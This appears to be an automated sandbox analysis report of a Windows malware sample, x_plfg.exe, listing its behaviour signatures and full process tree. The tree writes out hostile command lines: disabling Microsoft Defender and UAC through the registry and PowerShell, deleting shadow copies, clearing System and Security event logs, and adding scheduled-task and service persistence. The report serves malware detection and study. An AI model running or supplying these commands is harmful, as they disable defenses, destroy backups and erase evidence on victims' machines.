Analysis
- user interaction
yes - max time kernel
122s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
04/07/2026, 10:55
General
- Target x_plfg.exe
- Size 6.7MB
- Sample260704-m1lr8aew2x
- SHA256 eb699c6abac6393edb6f62a5e4360a7047467d3b6d213fbf98028ccf7ba705aa
Score
10/10
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 3 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
- UAC bypass 3 TTPs 3 IoCs
- Clears Windows event logs 1 TTPs 64 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Adds policy Run key to start application 2 TTPs 4 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 3 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Boot or Logon Autostart Execution: Port Monitors 1 TTPs 2 IoCs
Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell command to delete shadowcopy.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 3 IoCs
- Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Creates new service(s) 2 TTPs
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- Impair Defenses: Safe Mode Boot 1 TTPs 3 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Drops desktop.ini file(s) 64 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
remove IFEO.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 13 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 20 IoCs
- Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 1 IoCs
- Modifies data under HKEY_USERS 55 IoCs
- Modifies registry class 4 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 38 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Drops startup file
- Impair Defenses: Safe Mode Boot
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Drops desktop.ini file(s)
- Indicator Removal: Clear Persistence
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f3⤵
- UAC bypass
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Create /F /SC ONLOGON /TN "NetSvc" /TR "\"C:\Users\Admin\AppData\Roaming\UpdateCore.exe\"" /RL HIGHEST2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /SC ONLOGON /TN "NetSvc" /TR "\"C:\Users\Admin\AppData\Roaming\UpdateCore.exe\"" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc create "UpdateAgent" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "UpdateAgent" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\sc.exesc create "UpdateAgent" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "UpdateAgent"3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc start "UpdateAgent" 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\x_plfg.exeC:\Users\Admin\AppData\Local\Temp\x_plfg.exe3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\system32\sc.exesc start "UpdateAgent"3⤵
- Launches sc.exe
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=H_WN-xTp7oU2⤵
- Loads dropped DLL
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffb8da8c188,0x7ffb8da8c194,0x7ffb8da8c1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1664,i,9452756521883869802,2068077306721446386,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,3008897596564409138,13127944603713164429,262144 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2204,i,13851013090994131411,6326188474726249640,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:133⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3532,i,13485812167026218663,1297480679894739116,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3536,i,9442608921686483164,7437088528359681083,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4300,i,1832030732968322179,9697511221027405690,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:93⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4272,i,2224591132964226807,17976777145635410548,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3620,i,28450008927870628,41371996112857024,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,18120366324968079872,9907155906444448402,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,1244587596595793163,2996464315706869200,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5376,i,1708161087319559275,5174260173923538823,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,9583511715817623421,17606822191288984423,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3832,i,5286377077238826442,17041579550291636116,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3816,i,8670678324574667815,10668234446062980931,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5784,i,11935207319136249537,18193356138750136337,2097152 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4708,i,6064717365912983616,10732924087350357638,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:123⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4676,i,7966333346663049522,15037391847062753074,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:143⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3788,i,9572676310781026580,6184101520657634540,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5984,i,15657954415419103167,14819303114533264676,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6892,i,18196308660285349226,15827086758697592937,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5640,i,13002864473747792399,620553493496967992,524288 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5584,i,17396576312114303892,13544808253090309642,262144 --field-trial-handle=2472,i,6372925604578966219,7639138601279490628,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:103⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks /Delete /F /TN "NetSvc"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /Delete /F /TN "NetSvc"3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop "UpdateAgent" 2>nul2⤵
-
C:\Windows\system32\sc.exesc stop "UpdateAgent"3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc delete "UpdateAgent" 2>nul2⤵
-
C:\Windows\system32\sc.exesc delete "UpdateAgent"3⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c "C:\Users\Admin\AppData\Local\Temp\svc0E5AB3FF.cmd"2⤵
-
C:\Windows\system32\tasklist.exetasklist /FI "PID eq 6112"3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul2⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic shadowcopy delete 2>nul2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powershell -W H -NoP -C "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject" 2>nul2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -W H -NoP -C "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl System 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl System3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl Application 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl Application3⤵
- Clears Windows event logs
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl Security 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl Security3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl Setup 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl Setup3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Windows PowerShell" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Windows PowerShell"3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Microsoft-Windows-PowerShell/Operational" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-PowerShell/Operational"3⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil cl "Microsoft-Windows-TaskScheduler/Operational" 2>nul2⤵
-
C:\Windows\system32\wevtutil.exewevtutil cl "Microsoft-Windows-TaskScheduler/Operational"3⤵
- Clears Windows event logs
-
-
-
